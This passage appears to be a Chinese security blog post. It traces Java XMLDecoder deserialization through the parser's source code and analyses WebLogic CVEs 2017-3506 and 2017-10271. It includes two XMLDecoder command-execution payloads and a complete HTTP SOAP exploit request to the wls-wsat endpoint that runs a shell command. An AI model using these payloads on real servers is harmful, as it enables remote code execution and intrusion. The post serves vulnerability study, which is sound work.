setScannerState(SCANNER_STATE_CONTENT);
}
break;
}
  • 跳过空白字符后,遇到 <,切换到 SCANNER_STATE_START_OF_MARKUP 状态。

接下来,进入 SCANNER_STATE_START_OF_MARKUP 状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
case SCANNER_STATE_START_OF_MARKUP: {
fMarkupDepth++;
if (fEntityScanner.skipChar('?')) {
setScannerState(SCANNER_STATE_PI);
} else if (fEntityScanner.skipChar('!')) {
if (fEntityScanner.skipChar('-')) {
if (!fEntityScanner.skipChar('-')) {
reportFatalError("InvalidCommentStart", null);
}
setScannerState(SCANNER_STATE_COMMENT);
} else if (fEntityScanner.skipString(DOCTYPE)) {
setScannerState(SCANNER_STATE_DOCTYPE);
Entity entity = fEntityScanner.getCurrentEntity();
if(entity instanceof Entity.ScannedEntity){
fStartPos=((Entity.ScannedEntity)entity).position;
}
fReadingDTD=true;
if(fDTDDecl == null)
fDTDDecl = new XMLStringBuffer();
fDTDDecl.append("<!DOCTYPE");
} else {
reportFatalError("MarkupNotRecognizedInProlog", null);
}
} else if (XMLChar.isNameStart(fEntityScanner.peekChar())) {
setScannerState(SCANNER_STATE_ROOT_ELEMENT);
setDriver(fContentDriver);
return fContentDriver.next();
} else {
reportFatalError("MarkupNotRecognizedInProlog", null);
}
break;
}
  • fMarkupDepth 计数器(标签深度)增加。
  • 检查是否遇到 ?,如果是,则切换到 SCANNER_STATE_PI 状态。
  • 检查是否遇到 !,处理注释 (<!--) 或文档类型声明 (<!DOCTYPE)。
  • 检查是否为有效的XML名称字符(例如 <object>),如果是,则切换到 SCANNER_STATE_ROOT_ELEMENT 状态,并将驱动器切换为 fContentDriver。此时调用 return fContentDriver.next();

同样由于400行代码过长,只取需要的case块代码。

首先进入的SCANNER_STATE_ROOT_ELEMENT状态对应的处理逻辑。用scanRootElementHook() 方法扫描并处理 XML 文档的根元素。我们跟进去。然后调用了scanStartElement()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case SCANNER_STATE_ROOT_ELEMENT: {
if (scanRootElementHook()) {
fEmptyElement = true;
return XMLEvent.START_ELEMENT;
}
setScannerState(SCANNER_STATE_CONTENT);
return XMLEvent.START_ELEMENT ;
}

protected boolean scanRootElementHook()
throws IOException, XNIException {

if (scanStartElement()) {
setScannerState(SCANNER_STATE_TRAILING_MISC);
setDriver(fTrailingMiscDriver);
return true;
}
return false;
}

因为 <java> 不是空元素,调用 fDocumentHandler.startElement(fElementQName, fAttributes, null) 通知文档处理器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
protected boolean scanStartElement()
throws IOException, XNIException {

// 跳过处理逻辑
if(fSkip && !fAdd){
......
}

// 添加元素逻辑
if(!fSkip || fAdd){
//get the next element from the stack
fElementQName = fElementStack.nextElement();
// name
if (fNamespaces) {
fEntityScanner.scanQName(fElementQName);
} else {
String name = fEntityScanner.scanName();
fElementQName.setValues(null, name, name, null);
}
......
}

// 检查是否需要跳过元素
if(fAdd){......}


// 设置当前元素
fCurrentElement = fElementQName;
String rawname = fElementQName.rawname;
fEmptyElement = false;
fAttributes.removeAllAttributes();
// 检查元素深度
checkDepth(rawname);
// 解析属性
if(!seekCloseOfStartTag()){
fReadingAttributes = true;
fAttributeCacheUsedCount =0;
fStringBufferIndex =0;
fAddDefaultAttr = true;
do {
scanAttribute(fAttributes);
if (fSecurityManager != null && !fSecurityManager.isNoLimit(fElementAttributeLimit) &&
fAttributes.getLength() > fElementAttributeLimit){
fErrorReporter.reportError(XMLMessageFormatter.XML_DOMAIN,
"ElementAttributeLimit",
new Object[]{rawname, fElementAttributeLimit },
XMLErrorReporter.SEVERITY_FATAL_ERROR );
}

} while (!seekCloseOfStartTag());
fReadingAttributes=false;
}

// 处理空元素
if (fEmptyElement) {
......
} else {

if(dtdGrammarUtil != null)
dtdGrammarUtil.startElement(fElementQName, fAttributes);
if(fDocumentHandler != null){
//complete element and attributes are traversed in this function so we can send a callback
//here.
//<strong>we shouldn't be sending callback in scanDocument()</strong>
fDocumentHandler.startElement(fElementQName, fAttributes, null);
}
}
......

}

跳过几个重载的来到DocumentHandler#startElement()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
ElementHandler parent = this.handler;
try {
this.handler = getElementHandler(qName).newInstance();
this.handler.setOwner(this);
this.handler.setParent(parent);
}
catch (Exception exception) {
throw new SAXException(exception);
}
for (int i = 0; i < attributes.getLength(); i++)
try {
String name = attributes.getQName(i);
String value = attributes.getValue(i);
this.handler.addAttribute(name, value);
}
catch (RuntimeException exception) {
handleException(exception);
}

this.handler.startElement();
}

当前处理的是,所以现在要实例化一个处理java标签的处理器,JavaElementHandler。然后设置这个handler的所有者和父级。

image-20240912023839928

接着遍历元素的属性并调用 this.handler.addAttribute(name, value); 将属性添加到当前的 ElementHandler 实例。

1
2
3
4
5
6
7
8
9
10
public void addAttribute(String name, String value) {
if (name.equals("version")) { // NON-NLS: the attribute name
// unsupported attribute
} else if (name.equals("class")) { // NON-NLS: the attribute name
// check class for owner
this.type = getOwner().findClass(value);
} else {
super.addAttribute(name, value);
}
}

然后回到DocumentHandler#startElement()方法,还有最后一句代码this.handler.startElement();需要执行。调用JavaElementHandler#startElement()JavaElementHandler没有这个方法,父类该方法也为空。那就不管

处理完java标签后,我们的下一个标签 也是类似的过程。来到该方法后。

实例化ObjectElementHandler处理器。然后获取属性和值用ObjectElementHandler#addAttribute方法添加。不过这里处理器中没有对应的属性可以设置,所以调用父类的方法NewElementHandler#addAttribute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//ObjectElementHandler#addAttribute
public final void addAttribute(String name, String value) {
if (name.equals("idref")) { // NON-NLS: the attribute name
this.idref = value;
} else if (name.equals("field")) { // NON-NLS: the attribute name
this.field = value;
} else if (name.equals("index")) { // NON-NLS: the attribute name
this.index = Integer.valueOf(value);
addArgument(this.index); // hack for compatibility
} else if (name.equals("property")) { // NON-NLS: the attribute name
this.property = value;
} else if (name.equals("method")) { // NON-NLS: the attribute name
this.method = value;
} else {
super.addAttribute(name, value);
}
}

//NewElementHandler#addAttribute
public void addAttribute(String name, String value) {
if (name.equals("class")) { // NON-NLS: the attribute name
this.type = getOwner().findClass(value);
} else {
super.addAttribute(name, value);
}
}

然后回到DocumentHandler#startElement()去执行最后一句代码,调用了ObjectElementHandler.startElement(),由于fieldidref都是null,不会进入if语句调用getValueObject()方法。

1
2
3
4
5
public final void startElement() {
if ((this.field != null) || (this.idref != null)) {
getValueObject();
}
}

接着下一个标签VoidElementHandler由于没有addAttribute方法,调用父类的addAttribute方法,即ObjectElementHandler#addAttribute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final void addAttribute(String name, String value) {
if (name.equals("idref")) { // NON-NLS: the attribute name
this.idref = value;
} else if (name.equals("field")) { // NON-NLS: the attribute name
this.field = value;
} else if (name.equals("index")) { // NON-NLS: the attribute name
this.index = Integer.valueOf(value);
addArgument(this.index); // hack for compatibility
} else if (name.equals("property")) { // NON-NLS: the attribute name
this.property = value;
} else if (name.equals("method")) { // NON-NLS: the attribute name
this.method = value;
} else {
super.addAttribute(name, value);
}
}

处理器的startElement方法同理,调用父类的ObjectElementHandler.startElement(),不过依然判断为false不执行任何操作。

然后是example标签。由于不是属性-值这种。直接调用处理器startElement方法。与上面同理由于没有改方法调用父类的ElementHandler.startElement(),方法为空啥也没干。

由于example该标签有开始标签,还有结束标签,所以下一次在XMLDocumentFragmentScannerImpl#next()中,会走进这一个case代码块,会扫描结束标签。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
case SCANNER_STATE_END_ELEMENT_TAG :{
if(fEmptyElement){
fEmptyElement = false;
setScannerState(SCANNER_STATE_CONTENT);
return (fMarkupDepth == 0 && elementDepthIsZeroHook() ) ? XMLEvent.END_ELEMENT : XMLEvent.END_ELEMENT ;

} else if(scanEndElement() == 0) {
if (elementDepthIsZeroHook()) {
return XMLEvent.END_ELEMENT ;
}

}
setScannerState(SCANNER_STATE_CONTENT);
return XMLEvent.END_ELEMENT ;
}

通过scanEndElement()方法会一直调用到DocumentHandler#endElement方法。

1
2
3
4
5
6
7
8
9
10
11
public void endElement(String uri, String localName, String qName) {
try {
this.handler.endElement();
}
catch (RuntimeException exception) {
handleException(exception);
}
finally {
this.handler = this.handler.getParent();
}
}

这里会去调用StringElementHandlerstartElement()方法,由于没有所以调到父类ElementHandler#startElement()方法。

首先通过getValueObject方法获取当前元素的值对象。该对象的value属性等于我们开始和结束标签之间的值,即example中间的值example。然后会取出这个value值,作为参数传给 this.parent.addArgument方法,也就是上一个标签VoidElementHandleraddArgument方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void endElement() {
// do nothing if no value returned
ValueObject value = getValueObject();
if (!value.isVoid()) {
if (this.id != null) {
this.owner.setVariable(this.id, value.getValue());
}
if (isArgument()) {
if (this.parent != null) {
this.parent.addArgument(value.getValue());
} else {
this.owner.addObject(value.getValue());
}
}
}
}

最后把值放到arguments这个ArrayList里面。

image-20240912034654905

接着,要处理的标签是,所以和上面流程类似,处理器是VoidElementHandler,调用的是父类的父类的父类ElementHandler#endElement方法,然后调用到父类的父类NewElementHandler#getValueObject方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//NewElementHandler#getValueObject
protected final ValueObject getValueObject() {
if (this.arguments != null) {
try {
this.value = getValueObject(this.type, this.arguments.toArray());
}
catch (Exception exception) {
getOwner().handleException(exception);
}
finally {
this.arguments = null;
}
}
return this.value;
}

//ObjectElementHandler#getValueObject
protected final ValueObject getValueObject(Class<?> type, Object[] args) throws Exception {
if (this.field != null) {
return ValueObjectImpl.create(FieldElementHandler.getFieldValue(getContextBean(), this.field));
}
if (this.idref != null) {
return ValueObjectImpl.create(getVariable(this.idref));
}
Object bean = getContextBean();
String name;
if (this.index != null) {
name = (args.length == 2)
? PropertyElementHandler.SETTER
: PropertyElementHandler.GETTER;
} else if (this.property != null) {
name = (args.length == 1)
? PropertyElementHandler.SETTER
: PropertyElementHandler.GETTER;

if (0 < this.property.length()) {
name += this.property.substring(0, 1).toUpperCase(ENGLISH) + this.property.substring(1);
}
} else {
name = (this.method != null) && (0 < this.method.length())
? this.method
: "new"; // NON-NLS: the constructor marker
}
Expression expression = new Expression(bean, name, args);
return ValueObjectImpl.create(expression.getValue());
}

创建一个 Expression 对象,传入上下文 bean、方法名和参数,然后调用 expression.getValue() 获取结果,并用 ValueObjectImpl.create 包装成 ValueObject 返回。这里就是把我们解析出来的类、属性、值一起包装到一个类中。

image-20240912233738340

然后在Expression#getValue()方法,里面会执行对应的方法,首先执行的对应类的无参构造函数,第二次执行的才是setName方法。一直到MethodUtil#invoke方法里面。

image-20240912235146168

攻击Demo

给出两种常见攻击demo。如果反序列化的xml文件是如下代码,就会触发命令执行。触发原理和上面流程差不多,也是在相同的地方反射调用方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_65" class="java.beans.XMLDecoder">
<void method="getRuntime" class="java.lang.Runtime">
<void method="exec">
<string>calc</string>
</void>
</void>
</java>

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_65" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/>
</void>
</java>

CVE-2017-3506&CVE-2017-10271

漏洞原因

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

CVE-2017-3506和CVE-2017-10271原理是一样的,只是CVE-2017-3506的修复补丁是禁用object标签,所以随后出现了CVE-2017-10271。不使用object标签的payload即可。

漏洞环境

参考上面T3反序列化的环境。

影响版本

存在 WLS-WebServices 的组件的Weblogic版本。

漏洞payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.147.131:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 589

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void method="getRuntime" class="java.lang.Runtime">
<void method="exec">
<string>touch /tmp/CVE-2017-10271</string>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20240914145537449

漏洞分析

我们从WLSServletAdapter#handle方法开始调试,在此之前是一些服务器对请求预处理,安全性检查之类的操作。这里会判断我们的请求方法,如何是GET型或者HEAD型,就会进去if语句进行处理。我们发送的请求包是POST类型,所以进入super.handle(var1, var2, var3);

image-20240915011547329

一直到HttpAdapter#handle,这里又会判断请求类型,然后因为判断不通过跳到tk.handle(connection);,这是一个内部类方法HttpAdapter$HttpToolkit#handle

image-20240915013453656

这里我们可以大致分成两个部分,首先是解码入站消息,将结果存储在 packet 对象中。然后是调用 this.head.process 方法处理packet中的消息,并且将结果存储回 packet 中。

image-20240915015959451

我们先跟第一部分,解码入站信息。跟进到HttpAdapter#decodePacket,这个方法作用是解码 HTTP 请求并生成一个包含请求信息的 Packet 对象。

image-20240915020449544

主要是这一行代码InputStream in = con.getInput();,我们发送的POST数据包就在in中。

image-20240915021252447

跟到codec.decode(in, ct, packet);进入SOAPBindingCodec#decode中。

image-20240915022335176

进入StreamSOAPCodec#decode方法,从中进入重载的decode方法。

image-20240915023513509

packet.setMessage(this.decode(reader, att));中的重载decode方法主要是解析 SOAP 消息的 XML 内容,并将其封装到 Message 对象。然后用packetsetMessage方法将这个封装后的Message对象赋值给packet,然后返回这个packet对象。

回到HttpAdapter#handle方法中,接着我们看一下处理入站消息的部分。跟进packet = this.head.process(packet, con.getWebServiceContextDelegate(), packet.transportBackChannel);,即来到WSEndpointImpl$2#process中(WSEndpointImpl$2WSEndpointImpl类中的第二个匿名类),前面是对request的属性赋值。主要关注对request处理的地方,即request作为参数的地方,因为我们的payload在里面。所以我们可以关注到fiber.runSync(this.tube, request);

image-20240915031202135

把带有payloadrequest入站请求赋值给当前Fiberpacket属性,在调用当前FiberdoRun方法后就返回这个packet属性。我们跟一下doRun方法。

image-20240915032454360

doRun方法经过_doRun__doRun之后,在__doRun经过几次循环调用readHeaderOld方法来到WorkContextTube#readHeaderOld

这个方法会从头部列表中获取特定头部 WorkAreaConstants.WORK_AREA_HEADER。如果头部不为 null,调用 readHeaderOld 方法处理,并设置 isUseOldFormat 标志为 true。跟进readHeaderOld方法中。

image-20240915034341315

首先使用 XMLStreamReader 对象读取头部的 XML 内容,并跳过初始的两个标签,以便进入实际数据部分。接着,创建一个 XMLStreamReaderToXMLStreamWriter 对象,将读取到的 XML 内容桥接到一个 XMLStreamWriter,并将输出写入到 ByteArrayOutputStream 中,生成一个字节流。然后,方法通过 ByteArrayInputStream 将字节流转换为输入流,并创建一个 WorkContextXmlInputAdapter 适配器对象。最后,通过调用 this.receive(var6) 方法将适配器传递给接收方法进行处理。

image-20240915034710733

此时var4获取的就是我们构造的xmlpayload

image-20240915035830886

var6是一个WorkContextXmlInputAdapter 对象,该对象初始化会new一个XMLDecoder,并且给xmlDecoder的初始化参数是var4的字节数组流。

image-20240915040156452

这么一个要处理恶意payloaf字节流的XMLDecoder,只要调用了readObject方法,就会触发XMLDecoder反序列化漏洞。

我们继续跟进WorkContextServerTube#receive,使用 WorkContextEntryImpl 类的静态方法 readEntry 来读取并解析传入的 var1 对象。

image-20240915041157771

从一个数据输入流中读取一个 UTF-8 编码的字符串,并将其赋值给变量 var1

image-20240915041450037

进入该方法后,就会看到这里调用了xmlDecoder的readObject方法。漏洞由此而来。

image-20240915041556373

参考

CVE-2015-4852 WebLogic T3 反序列化分析 | Drunkbaby’s Blog (drun1baby.top)

Weblogic T3协议反序列化漏洞分析(上)

Weblogic安全漫谈(一)


Weblogic系列
http://example.com/2024/09/08/Weblogic/
作者
cmisl
发布于
2024年9月8日
许可协议